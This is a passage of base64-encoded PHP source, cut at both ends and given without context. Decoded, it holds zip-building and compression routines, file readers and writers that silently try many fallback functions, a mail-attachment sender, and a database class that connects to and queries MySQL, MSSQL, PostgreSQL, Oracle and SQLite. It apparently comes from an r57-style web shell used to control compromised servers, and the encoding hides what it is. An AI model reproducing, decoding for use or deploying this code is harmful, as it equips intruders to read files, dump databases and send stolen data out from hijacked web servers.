ICAgLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMF0gLiAkZHRpbWVbMV07CiAgICAgICAgZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsKICAgICAgICAkZnIgICA9ICJceDUwXHg0Ylx4MDNceDA0IjsKICAgICAgICAkZnIgICAuPSAiXHgxNFx4MDAiOyAgICAgICAgICAgIAogICAgICAgICRmciAgIC49ICJceDAwXHgwMCI7ICAgICAgICAgICAgCiAgICAgICAgJGZyICAgLj0gIlx4MDhceDAwIjsgICAgICAgICAgICAKICAgICAgICAkZnIgICAuPSAkaGV4ZHRpbWU7ICAgICAgICAgICAgIAogICAgICAgICR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsKICAgICAgICAkY3JjICAgICA9IGNyYzMyKCRkYXRhKTsKICAgICAgICAkemRhdGEgICA9IGd6Y29tcHJlc3MoJGRhdGEpOwogICAgICAgICR6ZGF0YSAgID0gc3Vic3RyKHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOwogICAgICAgICRjX2xlbiAgID0gc3RybGVuKCR6ZGF0YSk7CiAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjcmMpOyAgICAgICAgICAgICAKICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNfbGVuKTsgICAgICAgICAgIAogICAgICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7ICAgICAgICAgCiAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOyAgICAKICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2JywgMCk7ICAgICAgICAgICAgICAgIAogICAgICAgICRmciAgICAgIC49ICRuYW1lOwogICAgICAgICRmciAuPSAkemRhdGE7CiAgICAgICAgJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOwogICAgICAgICRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsKICAgICAgICAkY2RyZWMgLj0gIlx4MDBceDAwIjsgICAgICAgICAgICAgICAgCiAgICAgICAgJGNkcmVjIC49ICJceDE0XHgwMCI7ICAgICAgICAgICAgICAgIAogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOyAgICAgICAgICAgICAgICAKICAgICAgICAkY2RyZWMgLj0gIlx4MDhceDAwIjsgICAgICAgICAgICAgICAgCiAgICAgICAgJGNkcmVjIC49ICRoZXhkdGltZTsgICAgICAgICAgICAgICAgIAogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNyYyk7ICAgICAgICAgICAKICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7ICAgICAgICAgCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7ICAgICAgIAogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSApOyAKICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgICAgICAgICAgICAgCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7ICAgICAgICAgICAgIAogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOyAgICAgICAgICAgICAKICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgICAgICAgICAgICAgCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOyAgICAgICAgICAgIAogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOwogICAgICAgICR0aGlzIC0+IG9sZF9vZmZzZXQgKz0gc3RybGVuKCRmcik7CiAgICAgICAgJGNkcmVjIC49ICRuYW1lOwogICAgICAgICR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7CiAgICB9CiAgICBmdW5jdGlvbiBmaWxlKCkKICAgIHsKICAgICAgICAkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOwogICAgICAgICRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOwogICAgICAgIHJldHVybgogICAgICAgICAgICAkZGF0YSAuCiAgICAgICAgICAgICRjdHJsZGlyIC4KICAgICAgICAgICAgJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gIAogICAgICAgICAgICBwYWNrKCd2Jywgc2l6ZW9mKCR0aGlzIC0+IGN0cmxfZGlyKSkgLiAgCiAgICAgICAgICAgIHBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKSAuICAgICAgICAgICAKICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gICAgICAgICAgICAgIAogICAgICAgICAgICAiXHgwMFx4MDAiOyAgICAgICAgICAgICAgCiAgICB9Cn0KCmZ1bmN0aW9uIGNvbXByZXNzKCYkZmlsZW5hbWUsJiRmaWxlZHVtcCwkY29tcHJlc3MpCiB7CiAgICBnbG9iYWwgJGNvbnRlbnRfZW5jb2Rpbmc7CiAgICBnbG9iYWwgJG1pbWVfdHlwZTsKICAgIGlmICgkY29tcHJlc3MgPT0gJ2J6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2J6Y29tcHJlc3MnKSkgCiAgICAgewogICAgICAgICRmaWxlbmFtZSAgLj0gJy5iejInOwogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1iemlwMic7CiAgICAgICAgJGZpbGVkdW1wID0gYnpjb21wcmVzcygkZmlsZWR1bXApOwogICAgIH0gCiAgICAgZWxzZSBpZiAoJGNvbXByZXNzID09ICdnemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKSAKICAgICB7CiAgICAgICAgJGZpbGVuYW1lICAuPSAnLmd6JzsKICAgICAgICAkY29udGVudF9lbmNvZGluZyA9ICd4LWd6aXAnOwogICAgICAgICRtaW1lX3R5cGUgPSAnYXBwbGljYXRpb24veC1nemlwJzsKICAgICAgICAkZmlsZWR1bXAgPSBnemVuY29kZSgkZmlsZWR1bXApOwogICAgIH0gCiAgICAgZWxzZSBpZiAoJGNvbXByZXNzID09ICd6aXAnICYmIEBmdW5jdGlvbl9leGlzdHMoJ2d6Y29tcHJlc3MnKSkgCiAgICAgewogICAgICRmaWxlbmFtZSAuPSAnLnppcCc7CiAgICAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi96aXAnOwogICAgICAgICR6aXBmaWxlID0gbmV3IHppcGZpbGUoKTsKICAgICAgICAkemlwZmlsZSAtPiBhZGRGaWxlKCRmaWxlZHVtcCwgc3Vic3RyKCRmaWxlbmFtZSwgMCwgLTQpKTsKICAgICAgICAkZmlsZWR1bXAgPSAkemlwZmlsZSAtPiBmaWxlKCk7CiAgICAgfSAKICAgICBlbHNlIAogICAgIHsKICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7CiAgICAgfQogfQoKZnVuY3Rpb24gbW9yZXJlYWQoJHRlbXApewpnbG9iYWwgJGxhbmcsJGxhbmd1YWdlOwokc3RyPScnOwogIGlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJykmJkBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSYmQGZ1bmN0aW9uX2V4aXN0cygnZmdldHMnKSYmQGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpJiZAZnVuY3Rpb25fZXhpc3RzKCdmY2xvc2UnKSAmJiAoJGZmaWxlID0gQGZvcGVuKCR0ZW1wLCAiciIpKSl7CiAgIGlmKCRmZmlsZSl7CiAgICAgd2hpbGUoIUBmZW9mKCRmZmlsZSkpeyRzdHIgLj0gQGZnZXRzKCRmZmlsZSk7fTsKICAgICBmY2xvc2UoJGZmaWxlKTsKICAgfQogIH1lbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKSYmQGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSYmQGZ1bmN0aW9uX2V4aXN0cygnZmNsb3NlJykmJkBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVzaXplJykmJigkZmZpbGUgPSBAZm9wZW4oJHRlbXAsICJyIikpKXsKICAgaWYoJGZmaWxlKXsKICAgICAkc3RyID0gQGZyZWFkKCRmZmlsZSwgQGZpbGVzaXplKCR0ZW1wKSk7CiAgICAgQGZjbG9zZSgkZmZpbGUpOwogICB9CiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdmaWxlJykmJigkZmZpbGVzID0gQGZpbGUoJHRlbXApKSl7CiAgIGZvcmVhY2ggKCRmZmlsZXMgYXMgJGZmaWxlKSB7ICRzdHIgLj0gJGZmaWxlOyB9CiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpKXsKICAgJHN0ciA9IEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7CiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdyZWFkZmlsZScpKXsKICAgJHN0ciA9IEByZWFkZmlsZSgkdGVtcCk7CiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdoaWdobGlnaHRfZmlsZScpKXsKICAgJHN0ciA9IEBoaWdobGlnaHRfZmlsZSgkdGVtcCk7CiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdzaG93X3NvdXJjZScpKXsKICAgJHN0ciA9IEBzaG93X3NvdXJjZSgkdGVtcCk7CiAgfWVsc2V7ZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTYnXTt9CnJldHVybiAkc3RyOwp9CgpmdW5jdGlvbiByZWFkemxpYigkZmlsZW5hbWUsJHRlbXA9JycpewpnbG9iYWwgJGxhbmcsJGxhbmd1YWdlOwokc3RyPScnOwogIGlmKCEkdGVtcCkgeyR0ZW1wPXRlbXBuYW0oQGdldGN3ZCgpLCAiY29weXRlbXAiKTt9OwogIGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kZmlsZW5hbWUsICR0ZW1wKSkgewogICAkc3RyID0gbW9yZXJlYWQoJHRlbXApOwogIH0gZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTknXTsKICBAdW5saW5rKCR0ZW1wKTsKcmV0dXJuICRzdHI7Cn0KCmZ1bmN0aW9uIG1vcmV3cml0ZSgkdGVtcCwkc3RyPScnKQp7Cmdsb2JhbCAkbGFuZywkbGFuZ3VhZ2U7CiBpZihAZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2Z3cml0ZScpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2ZjbG9zZScpICYmICgkZmZpbGU9QGZvcGVuKCR0ZW1wLCJ3YiIpKSl7CiAgaWYoJGZmaWxlKXsKICAgQGZ3cml0ZSgkZmZpbGUsJHN0cik7CiAgIEBmY2xvc2UoJGZmaWxlKTsKICB9CiB9ZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygnZnB1dHMnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmY2xvc2UnKSAmJiAoJGZmaWxlPUBmb3BlbigkdGVtcCwid2IiKSkpewogIGlmKCRmZmlsZSl7CiAgIEBmcHV0cygkZmZpbGUsJHN0cik7CiAgIEBmY2xvc2UoJGZmaWxlKTsKICB9CiB9ZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJykpewogICBAZmlsZV9wdXRfY29udGVudHMoJHRlbXAsJHN0cik7CiB9ZWxzZSByZXR1cm4gMDsKcmV0dXJuIDE7Cn0KCmZ1bmN0aW9uIG1haWxhdHRhY2goJHRvLCRmcm9tLCRzdWJqLCRhdHRhY2gpCiB7CiAkaGVhZGVycyAgPSAiRnJvbTogJGZyb21cclxuIjsKICRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOwogJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogIi4kYXR0YWNoWyd0eXBlJ107CiAkaGVhZGVycyAuPSAiOyBuYW1lPVwiIi4kYXR0YWNoWyduYW1lJ10uIlwiXHJcbiI7CiAkaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4iOwogJGhlYWRlcnMgLj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkYXR0YWNoWydjb250ZW50J10pKS4iXHJcbiI7CiBpZihtYWlsKCR0bywkc3ViaiwiIiwkaGVhZGVycykpIHsgcmV0dXJuIDE7IH0KIHJldHVybiAwOwogfQpjbGFzcyBteV9zcWwKIHsKIHZhciAkaG9zdCA9ICdsb2NhbGhvc3QnOwogdmFyICRwb3J0ID0gJyc7CiB2YXIgJHVzZXIgPSAnJzsKIHZhciAkcGFzcyA9ICcnOwogdmFyICRiYXNlID0gJyc7CiB2YXIgJGRiICAgPSAnJzsKIHZhciAkY29ubmVjdGlvbjsKIHZhciAkcmVzOyAgICAgICAgCiB2YXIgJGVycm9yOyAgICAgIAogdmFyICRyb3dzOyAgICAgICAKIHZhciAkY29sdW1uczsgICAgIAogdmFyICRudW1fcm93czsgICAKIHZhciAkbnVtX2ZpZWxkczsgCiB2YXIgJGR1bXA7ICAgICAgIAogCiBmdW5jdGlvbiBjb25uZWN0KCkKICB7ICAgCiAgc3dpdGNoKCR0aGlzLT5kYikKICAgICB7CiAgIGNhc2UgJ015U1FMJzogCiAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMzMwNic7IH0KICAgIGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHJldHVybiAwOwogICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOwogICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsKICAgYnJlYWs7CiAgIGNhc2UgJ01TU1FMJzoKICAgICAgaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSB7ICR0aGlzLT5wb3J0ID0gJzE0MzMnOyB9CiAgICBpZighQGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSByZXR1cm4gMDsKICAgICR0aGlzLT5jb25uZWN0aW9uID0gQG1zc3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJywnLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsKICAgICAgaWYoJHRoaXMtPmNvbm5lY3Rpb24pIHJldHVybiAxOwogICBicmVhazsKICAgY2FzZSAnUG9zdGdyZVNRTCc6CiAgICAgIGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgeyAkdGhpcy0+cG9ydCA9ICc1NDMyJzsgfQogICAgICAkc3RyID0gImhvc3Q9JyIuJHRoaXMtPmhvc3QuIicgcG9ydD0nIi4kdGhpcy0+cG9ydC4iJyB1c2VyPSciLiR0aGlzLT51c2VyLiInIHBhc3N3b3JkPSciLiR0aGlzLT5wYXNzLiInIGRibmFtZT0nIi4kdGhpcy0+YmFzZS4iJyI7CiAgICAgIGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwOwogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBwZ19jb25uZWN0KCRzdHIpOwogICAgICBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOwogICBicmVhazsKICAgY2FzZSAnT3JhY2xlJzoKICAgICAgaWYoIUBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpIHJldHVybiAwOwogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBvY2lsb2dvbigkdGhpcy0+dXNlciwgJHRoaXMtPnBhc3MsICR0aGlzLT5iYXNlKTsKICAgICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsKICAgYnJlYWs7CiAgIGNhc2UgJ015U1FMaSc6CiAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMzMwNic7IH0KICAgIGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdteXNxbGlfY29ubmVjdCcpKSByZXR1cm4gMDsKICAgICR0aGlzLT5jb25uZWN0aW9uID0gQG15c3FsaV9jb25uZWN0KCR0aGlzLT5ob3N0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzLCR0aGlzLT5iYXNlLCR0aGlzLT5wb3J0KTsKICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7CiAgIGJyZWFrOwogICBjYXNlICdtU1FMJzoKICAgIGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdtc3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7CiAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBtc3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJzonLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsKICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7CiAgIGJyZWFrOwogICBjYXNlICdTUUxpdGUnOgogICAgaWYoIUBmdW5jdGlvbl9leGlzdHMoJ3NxbGl0ZV9vcGVuJykpIHJldHVybiAwOwogICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAc3FsaXRlX29wZW4oJHRoaXMtPmJhc2UpOwogICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsKICAgYnJlYWs7CiAgICAgfQogICAgcmV0dXJuIDA7ICAgCiAgfQogIAogZnVuY3Rpb24gc2VsZWN0X2RiKCkKICB7CiAgIHN3aXRjaCgkdGhpcy0+ZGIpCiAgICB7CiAgY2FzZSAnTXlTUUwnOgogICBpZihAbXlzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7CiAgYnJlYWs7CiAgY2FzZSAnTVNTUUwnOgogICBpZihAbXNzcWxfc2VsZWN0X2RiKCR0aGlzLT5iYXNlLCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7CiAgYnJlYWs7CiAgY2FzZSAnUG9zdGdyZVNRTCc6CiAgICAgcmV0dXJuIDE7CiAgYnJlYWs7CiAgY2FzZSAnT3JhY2xlJzoKICAgICByZXR1cm4gMTsKICBicmVhazsKICBjYXNlICdNeVNRTGknOgogICAgIHJldHVybiAxOwogIGJyZWFrOwogIGNhc2UgJ21TUUwnOgogICAgIGlmKEBtc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOwogIGJyZWFrOwogIGNhc2UgJ1NRTGl0ZSc6CiAgICAgcmV0dXJuIDE7CiAgYnJlYWs7CiAgICB9CiByZXR1cm4gMDsgIAogIH0KICAKIGZ1bmN0aW9uIHF1ZXJ5KCRxdWVyeSkKICB7IAogICAkdGhpcy0+cmVzPSR0aGlzLT5lcnJvcj0nJzsKICAgc3dpdGNoKCR0aGlzLT5kYikKICAgIHsKICBjYXNlICdNeVNRTCc6IAogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG15c3FsX3F1ZXJ5KCcvKicuY2hyKDApLicqLycuJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpIAogICAgICB7IAogICAgICAkdGhpcy0+ZXJyb3IgPSBAbXlzcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOwogICAgICByZXR1cm4gMDsKICAgICAgfSAKICAgICBlbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKSB7IHJldHVybiAxOyB9ICAgICAgICAgICAgICAgICAgIAogICAgIHJldHVybiAyOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICBicmVhazsKICBjYXNlICdNU1NRTCc6CiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXNzcWxfcXVlcnkoJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpIAogICAgICB7CiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBlcnJvcic7CiAgICAgIHJldHVybiAwOwogICAgICB9CiAgICAgIGVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQogICAgIHJldHVybiAyOyAgICAgCiAgYnJlYWs7CiAgY2FzZSAnUG9zdGdyZVNRTCc6CiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AcGdfcXVlcnkoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5KSkpCiAgICAgIHsKICAgICAgJHRoaXMtPmVycm9yID0gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOwogICAgICByZXR1cm4gMDsKICAgICAgfQogICAgICBlbHNlIGlmKEBwZ19udW1fcm93cygkdGhpcy0+cmVzKSA+IDApIHsgcmV0dXJuIDE7IH0KICAgICByZXR1cm4gMjsgCiAgYnJlYWs7CiAgY2FzZSAnT3JhY2xlJzoKICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBvY2lwYXJzZSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkKICAgICAgewogICAgICAkdGhpcy0+ZXJyb3IgPSAnUXVlcnkgcGFyc2UgZXJyb3InOwogICAgICB9CiAgICAgZWxzZSAKICAgICAgeyAKICAgICAgaWYoQG9jaWV4ZWN1dGUoJHRoaXMtPnJlcykpIAogICAgICAgewogICAgICAgaWYoQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpICE9IDApIHJldHVybiAyOwogICAgICAgcmV0dXJuIDE7CiAgICAgICB9CiAgICAgICRlcnJvciA9IEBvY2llcnJvcigpOwogICAgICAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107IAogICAgICB9CiAgYnJlYWs7CiAgY2FzZSAnTXlTUUxpJzogCiAgICAgaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1AbXlzcWxpX3F1ZXJ5KCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKSAKICAgICAgeyAKICAgICAgJHRoaXMtPmVycm9yID0gQG15c3FsaV9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7CiAgICAgIHJldHVybiAwOwogICAgICB9IAogICAgIGVsc2UgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPnJlcykpIHsgcmV0dXJuIDE7IH0gICAgICAgICAgICAgICAgICAgCiAgICAgcmV0dXJuIDI7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogIGJyZWFrOwogIGNhc2UgJ21TUUwnOiAKICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBtc3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKSAKICAgICAgeyAKICAgICAgJHRoaXMtPmVycm9yID0gQG1zcWxfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOwogICAgICByZXR1cm4gMDsKICAgICAgfSAKICAgICBlbHNlIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5yZXMpKSB7IHJldHVybiAxOyB9ICAgICAgICAgICAgICAgICAgIAogICAgIHJldHVybiAyOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICBicmVhazsKICBjYXNlICdTUUxpdGUnOiAKICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBzcWxpdGVfcXVlcnkoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5KSkpIAogICAgICB7IAogICAgICAkdGhpcy0+ZXJyb3IgPSBAc3FsaXRlX2Vycm9yX3N0cmluZygkdGhpcy0+Y29ubmVjdGlvbik7CiAgICAgIHJldHVybiAwOwogICAgICB9IAogICAgIGVsc2UgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPnJlcykpIHsgcmV0dXJuIDE7IH0gICAgICAgICAgICAgICAgICAgCiAgICAgcmV0dXJuIDI7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogIGJyZWFrOwogICAgfQogIHJldHVybiAwOwogIH0KIGZ1bmN0aW9uIGdldF9yZXN1bHQoKQogIHsgCiAgICR0aGlzLT5yb3dzPWFycmF5KCk7CiAgICR0aGlzLT5jb2x1bW5zPWFycmF5KCk7CiAgICR0aGlzLT5udW1fcm93cz0kdGhpcy0+bnVtX2ZpZWxkcz0wOwogICBzd2l0Y2goJHRoaXMtPmRiKQogICAgewogIGNhc2UgJ015U1FMJzoKICAgJHRoaXMtPm51bV9yb3dzPUBteXNxbF9udW1fcm93cygkdGhpcy0+cmVzKTsKICAgJHRoaXMtPm51bV9maWVsZHM9QG15c3FsX251bV9maWVsZHMoJHRoaXMtPnJlcyk7CiAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBteXNxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOyAKICAgQG15c3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOwogICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9CiAgYnJlYWs7CiAgY2FzZSAnTVNTUUwnOgogICAkdGhpcy0+bnVtX3Jvd3M9QG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOwogICAkdGhpcy0+bnVtX2ZpZWxkcz1AbXNzcWxfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsgICAgCiAgIHdoaWxlKGZhbHNlICE9PSAoJHRoaXMtPnJvd3NbXSA9IEBtc3NxbF9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpOwogICBAbXNzcWxfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7CiAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO307CiAgYnJlYWs7CiAgY2FzZSAnUG9zdGdyZVNRTCc6CiAgICR0aGlzLT5udW1fcm93cz1AcGdfbnVtX3Jvd3MoJHRoaXMtPnJlcyk7IAogICAkdGhpcy0+bnVtX2ZpZWxkcz1AcGdfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsgICAKICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQHBnX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7CiAgIEBwZ19mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsKICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQogIGJyZWFrOwogIGNhc2UgJ09yYWNsZSc6CiAgICAgJHRoaXMtPm51bV9maWVsZHM9QG9jaW51bWNvbHMoJHRoaXMtPnJlcyk7CiAgICAgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG9jaV9mZXRjaF9hc3NvYygkdGhpcy0+cmVzKSkpICR0aGlzLT5udW1fcm93cysrOwogICAgIEBvY2lmcmVlc3RhdGVtZW50KCR0aGlzLT5yZXMpOwogICAgIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30KICBicmVhazsKICBjYXNlICdNeVNRTGknOgogICAgICR0aGlzLT5udW1fcm93cz1AbXlzcWxpX251bV9yb3dzKCR0aGlzLT5yZXMpOwogICAgICR0aGlzLT5udW1fZmllbGRzPUBteXNxbGlfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsKICAgICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7IAogICAgIEBteXNxbGlfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7CiAgICAgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQogIGJyZWFrOwogIGNhc2UgJ21TUUwnOgogICAgICR0aGlzLT5udW1fcm93cz1AbXNxbF9udW1fcm93cygkdGhpcy0+cm